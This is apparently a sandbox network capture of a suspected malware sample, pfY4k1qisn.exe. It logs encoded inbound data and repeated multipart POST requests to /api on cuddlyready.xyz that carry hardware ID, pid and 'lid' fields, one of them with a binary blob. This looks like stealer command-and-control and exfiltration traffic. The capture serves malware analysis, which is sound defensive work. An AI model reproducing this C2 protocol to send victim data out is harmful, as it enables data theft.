2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 55 2b 4f 46 6e 71 51 7a 48 49 59 76 6e 70 39 77 5a 69 6e 38 34 65 50 44 64 79 39 4a 54 32 34 62 63 38 50 49 52 54 51 34 4b 70 4b 52 34 35 5a 4d 39 48 4c 65 46 66 6d 4f 53 62 37 6e 37 7a 74 6e 59 30 54 30 50 6f 79 65 71 59 69 7a 77 74 6e 51 35 4f 6f 36 41 52 46 6c 52 5a 73 6b 4f 74 36 57 2b 55 75 49 2b 4c 62 71 61 79 4c 77 68 72 57 76 57 49 7a 70 79 50 4a 44 6d 46 65 6d 4f 4f 74 51 56 43 47 58 7a 6e 64 79 32 64 53 36 54 6b 75 39 4a 47 38 37 5a 69 47 45 4e 66 37 4f 6e 50 68 59 34 67 45 65 51 7a 49 71 49 56 42 55 6f 70 61 49 70 4c 78 4b 6b 65 6f 49 32 37 30 6c 2f 61 36 30 6f 6f 59 32 66 34 78 66 4b 49 6c 77 78 46 68 58 70 62 6c 6f 31 5a 45 69 46 67 2b 30 39 6c 67 56 75 41 35 4a 2f 69 53 73 2b 57 57 77 6c 4f 61 2b 69 49 7a 2b 57 33 70 44 6d 70 41 6d 76 2b 6d Data Ascii: U+OFnqQzHIYvnp9wZin84ePDdy9JT24bc8PIRTQ4KpKR45ZM9HLeFfmOSb7n7ztnY0T0PoyeqYizwtnQ5Oo6ARFlRZskOt6W+UuI+LbqayLwhrWvWIzpyPJDmFemOOtQVCGXzndy2dS6Tku9JG87ZiGENf7OnPhY4gEeQzIqIVBUopaIpLxKkeoI270l/a60ooY2f4xfKIlwxFhXpblo1ZEiFg+09lgVuA5J/iSs+WWwlOa+iIz+W3pDmpAmv+m
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 51 30 33 4e 6c 6d 55 75 41 31 49 2f 2f 62 2b 4b 4b 56 6d 6c 32 43 76 52 42 77 74 53 37 43 51 56 52 50 6e 75 61 68 55 67 4b 53 47 43 32 51 7a 47 59 59 76 6e 6f 6a 38 70 4f 77 38 4a 32 50 48 74 54 7a 4e 58 61 75 4a 63 67 44 62 45 6d 55 34 36 31 48 54 34 6c 45 50 74 44 44 62 31 6e 73 4d 47 36 39 32 37 48 36 30 74 70 64 36 2b 6f 78 4d 5a 51 75 78 67 31 6d 57 74 44 33 36 46 30 43 69 6c 70 30 69 49 74 6e 55 4f 4d 2f 49 66 4b 52 75 4f 65 59 6a 68 58 55 2f 69 68 38 70 53 33 45 43 32 74 42 6e 75 79 75 54 55 6d 47 55 44 54 52 77 53 6f 57 70 6a 30 32 73 38 50 32 31 70 57 4f 45 4e 57 2f 44 33 43 76 49 38 38 56 49 56 50 65 38 65 5a 44 54 73 30 4f 64 4e 7a 43 61 6c 50 73 50 69 37 30 6c 72 50 68 6c 59 45 51 33 66 63 30 64 4b 55 68 77 51 35 6e 54 4a 66 73 6f 31 5a 48 68 Data Ascii: Q03NlmUuA1I//b+KKVml2CvRBwtS7CQVRPnuahUgKSGC2QzGYYvnoj8pOw8J2PHtTzNXauJcgDbEmU461HT4lEPtDDb1nsMG6927H60tpd6+oxMZQuxg1mWtD36F0Cilp0iItnUOM/IfKRuOeYjhXU/ih8pS3EC2tBnuyuTUmGUDTRwSoWpj02s8P21pWOENW/D3CvI88VIVPe8eZDTs0OdNzCalPsPi70lrPhlYEQ3fc0dKUhwQ5nTJfso1ZHh
2024-12-23 07:23:18 UTC	188	IN	Data Raw: 2b 5a 45 36 6d 4a 57 44 71 32 37 48 75 30 74 70 64 30 2f 51 6f 66 61 38 6b 78 51 56 70 53 35 37 6c 72 55 4a 4a 69 6c 45 79 33 63 4e 6e 58 65 55 37 4b 76 6d 4a 74 65 6d 59 6a 78 65 61 73 33 70 30 75 57 32 51 51 30 5a 41 75 66 69 39 56 6c 54 4e 53 58 72 4a 69 32 31 55 70 6d 4a 75 38 4a 53 2f 37 5a 71 4b 45 74 58 35 4e 48 57 6e 49 4d 30 4d 61 31 36 59 35 71 74 50 54 59 5a 45 4e 4e 33 50 5a 6c 7a 75 4d 53 53 7a 31 66 62 6c 69 73 4a 46 6d 73 67 33 66 4b 45 75 33 6b 4e 2b 41 6f 6d 6f 6f 55 67 43 31 52 59 34 33 73 74 6c 56 4f 6f 78 4a 76 4b 58 75 4f 57 58 69 0d 0a Data Ascii: +ZE6mJWDq27Hu0tpd0/Qofa8kxQVpS57lrUJJilEy3cNnXeU7KvmJtemYjxeas3p0uW2QQ0ZAufi9VlTNSXrJi21UpmJu8JS/7ZqKEtX5NHWnIM0Ma16Y5qtPTYZENN3PZlzuMSSz1fblisJFmsg3fKEu3kN+AomooUgC1RY43stlVOoxJvKXuOWXi
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 33 63 63 62 0d 0a 78 58 53 37 7a 74 33 71 53 7a 47 44 47 42 49 6c 65 32 69 51 30 61 4c 57 58 53 65 69 32 31 41 70 6d 4a 75 33 4c 79 44 6f 4c 4f 34 58 63 57 7a 49 7a 4f 6d 49 59 68 62 49 55 43 54 35 4b 35 4c 52 49 52 61 50 74 6e 41 5a 6c 50 69 4e 69 66 32 6e 62 66 6e 6c 34 4d 5a 31 76 63 38 63 4b 49 69 78 77 78 70 44 4e 36 6f 6f 56 77 43 31 52 59 52 78 38 42 6b 58 71 59 6c 59 4f 72 62 73 65 37 53 32 6c 33 57 39 44 78 31 70 43 48 4a 42 57 6c 4a 6d 4f 79 6e 51 6b 53 4f 57 54 44 56 79 6d 56 63 36 6a 51 6b 38 70 71 36 36 5a 32 4a 47 4a 71 7a 65 6e 53 35 62 5a 42 44 55 45 2b 47 2f 37 5a 49 41 70 49 59 4c 5a 44 4d 5a 68 69 2b 65 69 2f 68 6b 62 7a 73 6c 34 30 59 32 66 49 39 66 71 63 68 77 67 70 70 53 70 2f 68 74 45 64 4f 67 31 45 36 33 4d 56 6e 55 75 55 33 62 72 Data Ascii: 3ccbxXS7zt3qSzGDGBIle2iQ0aLWXSei21ApmJu3LyDoLO4XcWzIzOmIYhbIUCT5K5LRIRaPtnAZlPiNif2nbfnl4MZ1vc8cKIixwxpDN6ooVwC1RYRx8BkXqYlYOrbse7S2l3W9Dx1pCHJBWlJmOynQkSOWTDVymVc6jQk8pq66Z2JGJqzenS5bZBDUE+G/7ZIApIYLZDMZhi+ei/hkbzsl40Y2fI9fqchwgppSp/htEdOg1E63MVnUuU3br
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 6c 59 55 57 30 76 59 31 64 62 4d 68 78 68 46 6b 58 6f 4b 6f 36 41 52 46 6c 52 5a 73 6b 50 31 74 53 50 59 35 62 4d 4b 4e 74 66 53 5a 6a 78 47 61 34 6e 52 71 34 53 72 45 51 7a 6b 4d 6c 75 65 76 52 30 32 4d 58 7a 6a 64 7a 6d 4e 64 35 7a 77 71 2b 5a 47 32 35 4a 53 44 47 4e 44 2b 4f 33 6d 6f 4b 73 41 45 59 6c 37 51 70 75 5a 44 57 73 30 4f 64 50 6e 4d 65 46 62 32 65 6a 47 39 67 76 62 6c 6e 73 4a 46 6d 76 6b 77 66 4b 55 71 78 41 56 6b 53 70 33 70 71 55 56 43 67 6c 49 2f 32 63 31 72 56 65 4d 33 4b 75 47 52 76 65 32 65 69 78 48 58 76 58 51 7a 70 6a 57 49 57 79 46 39 6e 65 61 6f 51 31 54 4e 53 58 72 4a 69 32 31 55 70 6d 4a 75 38 70 65 35 34 5a 32 42 48 74 76 33 4b 47 47 74 4a 4d 41 47 62 55 65 65 37 72 52 43 54 59 52 56 4e 39 6e 4d 59 6c 54 73 4f 53 6d 7a 31 66 62 Data Ascii: lYUW0vY1dbMhxhFkXoKo6ARFlRZskP1tSPY5bMKNtfSZjxGa4nRq4SrEQzkMluevR02MXzjdzmNd5zwq+ZG25JSDGND+O3moKsAEYl7QpuZDWs0OdPnMeFb2ejG9gvblnsJFmvkwfKUqxAVkSp3pqUVCglI/2c1rVeM3KuGRve2eixHXvXQzpjWIWyF9neaoQ1TNSXrJi21UpmJu8pe54Z2BHtv3KGGtJMAGbUee7rRCTYRVN9nMYlTsOSmz1fb
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 74 33 69 64 47 72 68 4b 73 52 44 4f 51 79 57 34 61 42 44 52 49 4e 45 4d 64 62 45 5a 56 48 76 50 69 62 77 6d 37 4c 6d 6c 59 63 65 31 76 59 39 63 4b 34 70 77 51 31 6f 51 39 43 6d 35 6b 4e 61 7a 51 35 30 38 64 42 70 56 4f 74 36 4d 62 32 43 39 75 57 65 77 6b 57 61 38 54 52 32 6f 53 66 4f 42 32 52 4b 6d 75 32 6d 54 30 47 43 55 6a 4c 55 78 47 70 54 37 7a 73 6f 39 70 47 39 35 4a 2b 42 47 39 79 39 64 44 4f 6d 4e 59 68 62 49 57 79 4c 35 61 70 44 41 70 49 59 4c 5a 44 4d 5a 68 69 2b 65 69 58 2f 6e 37 48 69 6e 34 45 56 33 2f 6b 77 64 71 45 6c 32 67 74 68 53 34 4c 36 70 6b 31 48 67 56 55 30 31 4d 31 6a 58 75 55 2b 62 72 33 62 73 66 72 53 32 6c 33 33 38 54 31 61 70 6a 61 49 48 43 39 56 30 4f 2b 71 42 42 72 4e 56 7a 2f 61 78 47 64 62 34 44 6b 6c 39 70 47 33 35 5a 71 50 Data Ascii: t3idGrhKsRDOQyW4aBDRINEMdbEZVHvPibwm7LmlYce1vY9cK4pwQ1oQ9Cm5kNazQ508dBpVOt6Mb2C9uWewkWa8TR2oSfOB2RKmu2mT0GCUjLUxGpT7zso9pG95J+BG9y9dDOmNYhbIWyL5apDApIYLZDMZhi+eiX/n7Hin4EV3/kwdqEl2gthS4L6pk1HgVU01M1jXuU+br3bsfrS2l338T1apjaIHC9V0O+qBBrNVz/axGdb4Dkl9pG35ZqP
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 67 39 34 54 2b 49 57 79 45 4c 6b 2f 71 30 51 6b 47 62 56 58 50 75 39 55 31 4f 37 44 30 2b 39 49 79 35 6f 74 7a 43 45 70 71 6c 41 7a 4f 6f 4b 74 4d 53 64 30 47 41 37 2b 5a 37 44 4d 31 4f 64 49 69 4c 58 31 76 6f 4e 43 6e 6c 69 76 76 46 68 49 67 61 79 76 6f 74 66 4f 46 6a 69 41 55 68 46 4d 4f 6d 35 6b 42 54 7a 51 35 6b 67 70 41 2f 43 37 46 71 66 4f 7a 56 72 36 4b 45 77 6b 57 49 73 33 70 68 34 58 57 49 52 47 4a 65 67 75 36 6c 55 6b 48 4b 61 41 72 33 30 57 64 65 38 53 73 51 7a 5a 79 73 37 35 53 56 44 4a 62 6f 4f 58 32 76 4b 74 35 44 4c 77 79 66 71 50 35 39 41 73 55 57 43 35 36 4c 63 68 69 2b 65 68 76 77 6c 62 6a 6c 68 4a 4e 51 2f 65 63 33 64 62 59 38 69 45 30 68 53 74 43 77 39 67 6f 43 69 55 64 30 69 4a 73 34 41 37 4e 70 65 61 50 4a 71 61 79 4c 77 67 75 61 70 Data Ascii: g94T+IWyELk/q0QkGbVXPu9U1O7D0+9Iy5otzCEpqlAzOoKtMSd0GA7+Z7DM1OdIiLX1voNCnlivvFhIgayvotfOFjiAUhFMOm5kBTzQ5kgpA/C7FqfOzVr6KEwkWIs3ph4XWIRGJegu6lUkHKaAr30Wde8SsQzZys75SVDJboOX2vKt5DLwyfqP59AsUWC56Lchi+ehvwlbjlhJNQ/ec3dbY8iE0hStCw9goCiUd0iJs4A7NpeaPJqayLwguap
2024-12-23 07:23:18 UTC	1369	IN	Data Raw: 38 69 45 30 68 51 39 43 77 6e 77 51 4b 7a 57 6c 36 6b 4e 4d 71 41 4b 59 50 4c 66 32 56 73 66 53 44 7a 7a 72 55 2b 6a 74 6c 73 54 72 48 51 79 38 4d 6c 71 6a 2b 46 67 7a 4e 55 69 57 51 6b 7a 6f 4b 76 57 39 39 70 4d 76 6b 2f 64 79 62 58 63 79 39 59 69 48 76 62 64 70 44 4f 51 7a 58 36 37 52 57 52 49 35 41 4e 35 66 31 56 48 2f 6f 50 53 2f 6c 69 36 48 74 33 61 77 72 2b 38 4d 45 5a 71 49 6a 78 67 52 33 58 64 43 6d 35 6b 73 43 31 57 39 30 6d 49 74 56 46 71 59 69 62 71 76 62 67 2b 47 63 6a 42 72 4d 37 48 64 55 72 79 72 4a 46 58 46 62 6e 36 65 49 63 6d 50 4e 47 48 54 57 69 7a 49 4b 71 48 6f 71 34 74 76 75 73 73 44 5a 53 49 6d 71 61 69 47 2b 59 39 46 44 64 77 7a 49 75 75 67 45 55 4d 30 4f 64 4a 66 49 65 45 72 67 4f 54 6a 77 33 49 6a 63 74 59 77 61 32 2b 73 71 66 71 Data Ascii: 8iE0hQ9CwnwQKzWl6kNMqAKYPLf2VsfSDzzrU+jtlsTrHQy8Mlqj+FgzNUiWQkzoKvW99pMvk/dybXcy9YiHvbdpDOQzX67RWRI5AN5f1VH/oPS/li6Ht3awr+8MEZqIjxgR3XdCm5ksC1W90mItVFqYibqvbg+GcjBrM7HdUryrJFXFbn6eIcmPNGHTWizIKqHoq4tvussDZSImqaiG+Y9FDdwzIuugEUM0OdJfIeErgOTjw3IjctYwa2+sqfq

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49706	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:19 UTC	276	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=73N40OEGKP597 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12805 Host: cuddlyready.xyz
2024-12-23 07:23:19 UTC	12805	OUT	Data Raw: 2d 2d 37 33 4e 34 30 4f 45 47 4b 50 35 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 37 33 4e 34 30 4f 45 47 4b 50 35 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 37 33 4e 34 30 4f 45 47 4b 50 35 39 37 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 37 33 4e 34 30 4f 45 47 4b 50 35 Data Ascii: --73N40OEGKP597Content-Disposition: form-data; name="hwid"5B35F4BA5BC09A5EAC8923850305D13E--73N40OEGKP597Content-Disposition: form-data; name="pid"2--73N40OEGKP597Content-Disposition: form-data; name="lid"PsFKDg--pablo--73N40OEGKP5
2024-12-23 07:23:20 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=krikuq0ughcopca6nrq2nek8vf; expires=Fri, 18 Apr 2025 01:09:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=0RV0p8vI1faaNZKTUu4G%2B6Go7%2BC6Ent5AAshkdF1zcXnXFU1Mhw7bZddENHm9tDo4MpaBPmAKg6BnTJhadBOydG2bVc%2FQAWplugQZFLcw76bCWN17Iyt16m8I33MK1AZzBU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b086d8b8c06-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1827&min_rtt=1788&rtt_var=698&sent=10&recv=16&lost=0&retrans=0&sent_bytes=2837&recv_bytes=13739&delivery_rate=1633109&cwnd=163&unsent_bytes=0&cid=7a3a1c0357235335&ts=860&x=0"
2024-12-23 07:23:20 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:23:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49707	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:21 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WH3X1ZPNLWSR9L1UNQ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15077 Host: cuddlyready.xyz
2024-12-23 07:23:21 UTC	15077	OUT	Data Raw: 2d 2d 57 48 33 58 31 5a 50 4e 4c 57 53 52 39 4c 31 55 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 57 48 33 58 31 5a 50 4e 4c 57 53 52 39 4c 31 55 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 57 48 33 58 31 5a 50 4e 4c 57 53 52 39 4c 31 55 4e 51 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f Data Ascii: --WH3X1ZPNLWSR9L1UNQContent-Disposition: form-data; name="hwid"5B35F4BA5BC09A5EAC8923850305D13E--WH3X1ZPNLWSR9L1UNQContent-Disposition: form-data; name="pid"2--WH3X1ZPNLWSR9L1UNQContent-Disposition: form-data; name="lid"PsFKDg--pablo
2024-12-23 07:23:22 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=e5g2h5qgei5auj25qcdrq2fkho; expires=Fri, 18 Apr 2025 01:10:01 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xrHCHiueRgJaa%2FY1Z282PdS%2FO4K72HPdxSb6Zkr4TuY4xxogwZpKy4rS2QQnJ1BVkfB3f%2BGGk23VgtqVCCH%2FihtQ8CPKQFF9feWL3b%2BcaRCrBFBwopUPxCJ5PHiZYFZTC48%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b166bc642dc-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1700&min_rtt=1700&rtt_var=637&sent=12&recv=19&lost=0&retrans=0&sent_bytes=2837&recv_bytes=16016&delivery_rate=1717647&cwnd=251&unsent_bytes=0&cid=846f1d6328f44698&ts=1142&x=0"
2024-12-23 07:23:22 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:23:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49708	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:24 UTC	277	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=AH4AWD0IYJUGG3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20543 Host: cuddlyready.xyz
2024-12-23 07:23:24 UTC	15331	OUT	Data Raw: 2d 2d 41 48 34 41 57 44 30 49 59 4a 55 47 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 41 48 34 41 57 44 30 49 59 4a 55 47 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 41 48 34 41 57 44 30 49 59 4a 55 47 47 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 0d 0a 2d 2d 41 48 34 41 57 44 30 49 Data Ascii: --AH4AWD0IYJUGG3Content-Disposition: form-data; name="hwid"5B35F4BA5BC09A5EAC8923850305D13E--AH4AWD0IYJUGG3Content-Disposition: form-data; name="pid"3--AH4AWD0IYJUGG3Content-Disposition: form-data; name="lid"PsFKDg--pablo--AH4AWD0I
2024-12-23 07:23:24 UTC	5212	OUT	Data Raw: 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb dc 60 14 cc ad fb 69 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: F3Wun 4F([:7s~X`nO`i
2024-12-23 07:23:25 UTC	1131	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=b0gcih0jkvfnqk93170slgqr2o; expires=Fri, 18 Apr 2025 01:10:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jyWvEjDQ5xv2%2F51fKb0naaiOLUqfhqhZJJVcQM9IJpjzzO4fmvPOgw3Iffk%2BvLBV3C%2BuhxhJo2amrnsF7Z729FBIsXvEGrz3dar2GDqHZ6yMBa6T3bbfRe%2BaR%2F4avKLw0L8%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b26fdeb4225-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1609&min_rtt=1605&rtt_var=611&sent=15&recv=25&lost=0&retrans=0&sent_bytes=2836&recv_bytes=21500&delivery_rate=1776155&cwnd=235&unsent_bytes=0&cid=3d8ca308e5ce8dd4&ts=934&x=0"
2024-12-23 07:23:25 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2024-12-23 07:23:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49710	172.67.150.173	443	5732	C:\Users\user\Desktop\pfY4k1qisn.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-23 07:23:26 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=6JGU4YV51LQE1MJUYI6 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1278 Host: cuddlyready.xyz
2024-12-23 07:23:26 UTC	1278	OUT	Data Raw: 2d 2d 36 4a 47 55 34 59 56 35 31 4c 51 45 31 4d 4a 55 59 49 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 35 42 33 35 46 34 42 41 35 42 43 30 39 41 35 45 41 43 38 39 32 33 38 35 30 33 30 35 44 31 33 45 0d 0a 2d 2d 36 4a 47 55 34 59 56 35 31 4c 51 45 31 4d 4a 55 59 49 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 36 4a 47 55 34 59 56 35 31 4c 51 45 31 4d 4a 55 59 49 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 50 73 46 4b 44 67 2d 2d 70 61 Data Ascii: --6JGU4YV51LQE1MJUYI6Content-Disposition: form-data; name="hwid"5B35F4BA5BC09A5EAC8923850305D13E--6JGU4YV51LQE1MJUYI6Content-Disposition: form-data; name="pid"1--6JGU4YV51LQE1MJUYI6Content-Disposition: form-data; name="lid"PsFKDg--pa
2024-12-23 07:23:27 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 23 Dec 2024 07:23:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=6je9k92jbf8uqen1qp34do17c1; expires=Fri, 18 Apr 2025 01:10:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fA5LJ7%2BS71cil0yxyKuMDE2AvVZXW5ocIZhPBhxm2uFScNjFQcMbzY%2B9wLxJO5nLxsB0PsWd%2Bmm63YqWrKdOCbFlLni1mA%2F1FLEGd%2B%2BCzhQU8sT6HjZEF%2FK2T90DP0r94mw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f669b36cb5d42c4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1787&min_rtt=1784&rtt_var=676&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2837&recv_bytes=2195&delivery_rate=1610590&cwnd=211&unsent_bytes=0&cid=3eb0915bccc1b13a&ts=762&x=0"
2024-12-23 07:23:27 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
